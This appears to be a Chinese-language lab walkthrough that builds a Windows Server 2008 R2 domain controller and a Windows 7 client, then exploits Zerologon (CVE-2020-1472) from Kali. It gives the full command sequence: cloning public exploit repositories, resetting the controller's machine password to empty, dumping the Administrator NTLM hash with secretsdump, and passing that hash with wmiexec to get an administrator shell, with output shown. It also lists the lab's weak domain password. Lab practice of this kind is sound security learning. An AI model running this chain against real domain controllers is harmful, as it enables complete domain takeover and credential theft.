貓寧~~~
虛擬機器上進行
安裝windows 2008 R2
檢視伺服器ip
本地連線屬性，取消ipv6，ip設定為192.168.43.158，子網掩碼255.255.255.0，閘道器192.168.43.1，DNS設定192.168.43.1
開啟初始配置任務，新增伺服器角色，選擇active directory域服務
dcpromo，開啟active directory域服務安裝嚮導，新林中新建域，輸入域名www.pjzhang.com，密碼設定123.aaa，重啟計算機
安裝windows 7
本地連線屬性，取消ipv6，ip設定為192.168.43.241，子網掩碼255.255.255.0，閘道器192.168.43.1，DNS設定192.168.43.158
計算機屬性，更改設定，計算機名更改，隸屬於域中填寫www.pjzhang.com，賬號密碼administrator/123.aaa，重啟計算機
https://github.com/SecuraBV/CVE-2020-1472
git clone https://github.com/SecuraBV/CVE-2020-1472.git
kali linux攻擊機
apt-get install python3-pip
pip3 install -r requirements.txt
計算機屬性檢視windows 2008 r2的計算機名
python3 zerologon_tester.py WIN-U2A9B1M49R3 192.168.43.158
顯示Success! DC can be fully compromised by a Zerologon attack.
https://github.com/dirkjanm/CVE-2020-1472
git clone https://github.com/dirkjanm/CVE-2020-1472.git
python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
報錯
Unexpected error: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'.
git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket/
pip3 install . 點代表目錄
python3 cve-2020-1472-exploit.py WIN-U2A9B1M49R3 192.168.43.158
顯示Exploit complete!，域控密碼修改為空
cd impacket/examples
python3 secretsdump.py WIN-U2A9B1M49R3\$@192.168.43.158 -no-pass
注意上方的反斜槓
獲得Administrator:500:aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d:::
cd impacket/examples
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:28553a7f5b14b5e60ba4d7cce9045e3d Administrator@192.168.43.158
連線上域控C:\>
顯示
C:\>whoami
www\administrator